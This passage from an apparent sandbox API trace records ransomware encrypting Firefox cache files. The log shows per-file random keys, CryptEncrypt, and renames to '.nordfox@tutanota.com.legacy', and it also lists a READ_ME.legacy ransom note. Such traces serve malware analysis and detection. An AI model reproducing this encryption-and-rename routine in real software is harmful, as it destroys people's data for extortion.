lpNumberOfBytesWritten=0x2e1f9bc*=0xea3, lpOverlapped=0x0) returned 1 [0192.563] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xea3 [0192.563] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.563] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60ce28*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60ce28*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.564] WriteFile (in: hFile=0x1b80, lpBuffer=0x60ce28*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60ce28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.564] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.564] CloseHandle (hObject=0x1b80) returned 1 [0192.564] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\020a4f3a0f6f161908d148aeb21a124c4badfd41"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\020a4f3a0f6f161908d148aeb21a124c4badfd41.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.571] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0192.571] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.571] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79", dwFileAttributes=0x80) returned 1 [0192.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60cf30 [0192.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.571] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\019b3f1b091f4bd86f0f05c8d530bc62a1ebcd79"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.572] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3645) returned 1 [0192.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe3d) returned 0x30f3888 [0192.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe3d) returned 0x30f46d0 [0192.572] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xe3d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xe3d, lpOverlapped=0x0) returned 1 [0192.582] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.582] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f46d0*, nNumberOfBytesToWrite=0xe3d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f46d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe3d, lpOverlapped=0x0) returned 1 [0192.582] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe3d [0192.582] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.582] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.583] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.583] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.583] CloseHandle (hObject=0x1b80) returned 1 [0192.583] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\019b3f1b091f4bd86f0f05c8d530bc62a1ebcd79"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\019b3f1b091f4bd86f0f05c8d530bc62a1ebcd79.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.585] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0192.585] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.585] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB", dwFileAttributes=0x80) returned 1 [0192.586] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0192.586] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.586] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\017020bfb3471e12709c39371d58e8123bcf28fb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.586] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3828) returned 1 [0192.586] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xef4) returned 0x30f3888 [0192.586] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xef4) returned 0x30f4788 [0192.586] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xef4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xef4, lpOverlapped=0x0) returned 1 [0192.596] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.596] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4788*, nNumberOfBytesToWrite=0xef4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4788*, lpNumberOfBytesWritten=0x2e1f9bc*=0xef4, lpOverlapped=0x0) returned 1 [0192.597] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xef4 [0192.597] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.597] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.597] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.597] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.597] CloseHandle (hObject=0x1b80) returned 1 [0192.597] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\017020bfb3471e12709c39371d58e8123bcf28fb"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\017020bfb3471e12709c39371d58e8123bcf28fb.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.600] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0192.600] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0192.600] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\013C507F8C6DC51CF18CC10ABECAC5868407766A", dwFileAttributes=0x80) returned 1 [0192.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0192.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.601] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\013C507F8C6DC51CF18CC10ABECAC5868407766A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\013c507f8c6dc51cf18cc10abecac5868407766a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.601] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=19473) returned 1 [0192.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c11) returned 0x30d7038 [0192.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c11) returned 0x30dbc58 [0192.601] ReadFile (in: hFile=0x1b80, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x4c11, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x4c11, lpOverlapped=0x0) returned 1 [0192.614] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-19473, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.615] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dbc58*, nNumberOfBytesToWrite=0x4c11, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dbc58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4c11, lpOverlapped=0x0) returned 1 [0192.615] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4c11 [0192.615] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.615] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.615] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.615] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.616] CloseHandle (hObject=0x1b80) returned 1 [0192.616] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\013C507F8C6DC51CF18CC10ABECAC5868407766A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\013c507f8c6dc51cf18cc10abecac5868407766a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\013C507F8C6DC51CF18CC10ABECAC5868407766A.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\013c507f8c6dc51cf18cc10abecac5868407766a.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.618] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\LocalState\\RootTools\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb5775632, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb5775632, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfbb50a02, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d45f0 [0192.618] SetLastError (dwErrCode=0x0) [0192.618] GetLastError () returned 0x0 [0192.618] SetLastError (dwErrCode=0x0) [0192.618] GetLastError () returned 0x0 [0192.618] SetLastError (dwErrCode=0x0) [0192.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0192.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56db30 [0192.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56db30 | out: hHeap=0x520000) returned 1 [0192.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f636d8 [0192.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x30d46f0 [0192.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d46f0 | out: hHeap=0x520000) returned 1 [0192.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20288 [0192.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20288 | out: hHeap=0x520000) returned 1 [0192.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f636d8 | out: hHeap=0x520000) returned 1 [0192.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0192.619] FindNextFileW (in: hFindFile=0x30d45f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb5775632, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb5775632, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfbb50a02, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0192.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d6778 | out: hHeap=0x520000) returned 1 [0192.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553c10 [0192.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79760 [0192.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0192.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f66a40 [0192.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79760 | out: hHeap=0x520000) returned 1 [0192.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30d5be8 [0192.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66a40 | out: hHeap=0x520000) returned 1 [0192.619] GetLastError () returned 0x0 [0192.619] SetLastError (dwErrCode=0x0) [0192.619] GetLastError () returned 0x0 [0192.619] SetLastError (dwErrCode=0x0) [0192.619] GetLastError () returned 0x0 [0192.619] SetLastError (dwErrCode=0x0) [0192.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0192.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dbe0 [0192.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dbe0 | out: hHeap=0x520000) returned 1 [0192.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f634f8 [0192.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x30d4470 [0192.620] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d4470 | out: hHeap=0x520000) returned 1 [0192.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20078 [0192.620] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20078 | out: hHeap=0x520000) returned 1 [0192.620] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.620] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0192.620] FindNextFileW (in: hFindFile=0x30d45f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbb50a02, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbb50a02, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbb50a02, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0192.620] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5be8 | out: hHeap=0x520000) returned 1 [0192.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553700 [0192.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78bb0 [0192.620] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0192.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f672d8 [0192.620] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78bb0 | out: hHeap=0x520000) returned 1 [0192.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30d5748 [0192.620] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f672d8 | out: hHeap=0x520000) returned 1 [0192.620] GetLastError () returned 0x0 [0192.620] SetLastError (dwErrCode=0x0) [0192.620] GetLastError () returned 0x0 [0192.620] SetLastError (dwErrCode=0x0) [0192.620] GetLastError () returned 0x0 [0192.620] SetLastError (dwErrCode=0x0) [0192.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f634f8 [0192.620] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.620] FindNextFileW (in: hFindFile=0x30d45f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb5775632, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb5775632, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xbad6843, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="roottools.conf", cAlternateFileName="ROOTTO~1.CON")) returned 1 [0192.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5748 | out: hHeap=0x520000) returned 1 [0192.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553700 [0192.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78ee0 [0192.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0192.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f679e0 [0192.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78ee0 | out: hHeap=0x520000) returned 1 [0192.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30d5748 [0192.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f679e0 | out: hHeap=0x520000) returned 1 [0192.621] GetLastError () returned 0x0 [0192.621] SetLastError (dwErrCode=0x0) [0192.621] GetLastError () returned 0x0 [0192.621] SetLastError (dwErrCode=0x0) [0192.621] GetLastError () returned 0x0 [0192.621] SetLastError (dwErrCode=0x0) [0192.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f634f8 [0192.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585228 [0192.621] FindNextFileW (in: hFindFile=0x30d45f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb5775632, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb5775632, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xbad6843, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="roottools.conf", cAlternateFileName="ROOTTO~1.CON")) returned 0 [0192.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585418 [0192.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0192.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0192.621] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0192.621] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.622] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\LocalState\\RootTools\\roottools.conf", dwFileAttributes=0x80) returned 1 [0192.622] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585ae0 [0192.622] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618460 [0192.622] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585ae0 | out: hHeap=0x520000) returned 1 [0192.622] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\LocalState\\RootTools\\roottools.conf" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\localstate\\roottools\\roottools.conf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0192.623] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=76) returned 1 [0192.623] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dce8 [0192.623] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dc90 [0192.623] ReadFile (in: hFile=0x1b84, lpBuffer=0x56dce8, nNumberOfBytesToRead=0x4c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56dce8*, lpNumberOfBytesRead=0x2e1f9bc*=0x4c, lpOverlapped=0x0) returned 1 [0192.624] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-76, 